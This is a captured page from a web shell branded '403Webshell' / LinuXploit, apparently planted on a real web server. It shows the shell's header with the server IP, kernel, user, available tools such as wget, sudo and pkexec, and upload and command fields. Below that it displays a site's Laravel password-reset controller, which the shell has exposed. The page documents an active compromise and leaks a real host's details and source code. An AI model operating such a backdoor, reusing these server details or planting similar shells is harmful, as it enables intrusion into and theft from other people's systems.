403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Auth/PasswordController.php
<?php

namespace App\Http\Controllers\Auth;

use App\Http\Controllers\Controller;
use App\Modules\Cadastro\Models\Cadastro;
use Illuminate\Foundation\Auth\ResetsPasswords;
use Illuminate\Http\Request;
use Illuminate\Mail\Message;
use Illuminate\Support\Facades\Password;
use App\User;
use Illuminate\Support\Facades\Log;

class PasswordController extends Controller
{
	/*
	|--------------------------------------------------------------------------
	| Password Reset Controller
	|--------------------------------------------------------------------------
	|
	| This controller is responsible for handling password reset requests
	| and uses a simple trait to include this behavior. You're free to
	| explore this trait and override any methods you wish to tweak.
	|
	*/

	use ResetsPasswords;

	protected $redirectPath = "admin";
	protected $subject = "Alteração de Senha Vinumday";

	/**
	* Create a new password controller instance.
	*
	* @return void
	*/
	public function __construct()
	{
		$this->middleware('guest');
	}


	/**
	* Display the form to request a password reset link.
	*
	* @return \Illuminate\Http\Response
	*/
	public function recuperarSenha()
	{
		return view('admin.auth.passwords.recuperar-senha');
	}

	/**
	* Display the form to request a password reset link.
	*
	* @return \Illuminate\Http\Response
	*/
	public function getEmail()
	{
		return view('admin.auth.passwords.email');
	}

	public function getForgetSuccess()
	{
		return view('admin.auth.passwords.forget-success');
	}

	/**
	* Send a reset link to the given user.
	*
	* @param  \Illuminate\Http\Request  $request
	* @return \Illuminate\Http\Response
	*/
	public function recuperarEmail(Request $request)
	{

		$post = $request->input();

		if($request->is('*api*')){
			if(!isset($post['email']) || !$post['email']){
				return json_encode(array(
					'status' => false,
					'message' => 'O campo E-mail é obrigatório'
				));
			}
			try {
				$this->validate($request, ['email' => 'required|email']);
			} catch (\Illuminate\Foundation\Validation\ValidationException $e) {
				return json_encode(array(
					'status' => false,
					'message' => 'O e-mail fornecido é inválido'
				));
			}
		}else{
			$this->validate($request, ['email' => 'required|email']);
		}

		$user = User::where('email', $post['email'])->first();
		

		$response = Password::sendResetLink($request->only('email'), function (Message $message){
			$message->subject($this->getEmailSubject());
		});

		if($request->is('*api*')){
			switch ($response) {
				case Password::RESET_LINK_SENT:
				return json_encode(array(
					'status' => true,
					'message' => trans($response)
				));

				case Password::INVALID_USER:
				return json_encode(array(
					'status' => false,
					'message' => trans($response)
				));
			}
		}else{
			switch ($response) {
				case Password::RESET_LINK_SENT:
				/*\Session::flash('type', 'success');
				\Session::flash('message', trans($response));*/
				return redirect('/admin/forgot_success');

				case Password::INVALID_USER:
				\Session::flash('type', 'danger');
				\Session::flash('message', trans($response));
				return redirect()->back()->withErrors(['email' => trans($response)]);
			}

		}


	}

    public function mascararEmail($email) {
        $partes = explode('@', $email);
        $usuario = $partes[0];
        $dominio = $partes[1];

        // Esconde a parte do usuário (após o primeiro caractere)
        $usuarioMascarado = substr($usuario, 0, 3) . str_repeat('*', strlen($usuario) - 3);

        return $usuarioMascarado . '@' . $dominio;
    }

	/**
	* Send a reset link to the given user.
	*
	* @param  \Illuminate\Http\Request  $request
	* @return \Illuminate\Http\Response
	*/
    public function postEmail(Request $request)
    {
//        return redirect()->back()->withErrors(['email' => 'NÃO.']);
        $input = $request->input('email');
        $method = '';

        if (filter_var($input, FILTER_VALIDATE_EMAIL)) {
            $emailUser = User::where('email', $input)->value('email');
            $method = 'email';
        } elseif (preg_match('/^\d{3}\.\d{3}\.\d{3}-\d{2}$/', $input)) {
            $userId = Cadastro::where('cpf', $input)->value('user_id');
            $emailUser = User::where('id', $userId)->value('email');
            $method = 'cpf';
        } else{
            return redirect()->back()->withErrors(['email' => 'Informe um e-mail válido ou CPF válido no formato XXX.XXX.XXX-XX']);
        }

        if($emailUser == ''){
            \Session::flash('type', 'success');
            \Session::flash('message', 'Caso exista uma conta VinumDay com o e-mail ou CPF informado, será enviado um e-mail para recuperação de senha.');
            return redirect()->back()->with('flash_message', 'Caso exista uma conta VinumDay com o e-mail ou CPF informado, será enviado um e-mail para recuperação de senha.');
        }

        // Enviar link de reset de senha
        $response = Password::sendResetLink(['email' => $emailUser], function (Message $message) {
            $message->subject($this->getEmailSubject());
        });

        // Retornar resposta baseado na resposta do envio do link
        switch ($response) {
            case Password::RESET_LINK_SENT:
                if($method == 'email'){
                    \Session::flash('type', 'success');
                    \Session::flash('message', 'E-mail de recuperação enviado com sucesso!');
                    return redirect()->back()->with('flash_message', 'E-mail de recuperação enviado com sucesso!');
                } else{
                    $emailMascarado = $this->mascararEmail($emailUser);
                    \Session::flash('type', 'success');
                    \Session::flash('message', "E-mail de recuperação enviado com sucesso para ${emailMascarado}");
                    return redirect()->back()->with('flash_message', "E-mail de recuperação enviado com sucesso para ${emailMascarado}");
                }

            case Password::INVALID_USER:
                \Session::flash('type', 'danger');
                \Session::flash('message', trans($response));
                return redirect()->back()->withErrors(['email' => trans($response)]);
        }
    }



	/**
	* Display the password reset view for the given token.
	*
	* @param  string  $token
	* @return \Illuminate\Http\Response
	*/
	public function getReset($token = null)
	{
		if (is_null($token)) {
			throw new NotFoundHttpException;
		}
		return view('admin.auth.passwords.reset')->with('token', $token);
	}

	/**
	* Reset the given user's password.
	*
	* @param  \Illuminate\Http\Request  $request
	* @return \Illuminate\Http\Response
	*/
	public function postReset(Request $request)
	{
		$error = $this->validate($request, [
			'token' => 'required',
			'email' => 'required|email',
			'password' => 'required|confirmed',
		]);

		$credentials = $request->only(
			'email', 'password', 'password_confirmation', 'token'
		);

		$response = Password::reset($credentials, function ($user, $password) {
			$this->resetPassword($user, \Hash::make($password));
		});

		switch ($response) {
			case Password::PASSWORD_RESET:
			\Session::flash('type', 'success');
			\Session::flash('message', 'Senha alterada com sucesso!');
			return redirect('/');
			//->withFlashMessage('Password Reset Successfully!');

			default:
			\Session::flash('type', 'danger');
			\Session::flash('message', trans($response));
			return redirect()->back()
			->withInput($request->only('email'))
			->withErrors(['email' => trans($response)]);
		}
	}

	/**
	* Reset the given user's password.
	*
	* @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
	* @param  string  $password
	* @return void
	*/
	protected function resetPassword($user, $password)
	{

		//$user->password = bcrypt($password);
		// Sentry hashes password for us
		$user->password = $password;

		$user->save();

		//Auth::login($user);
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit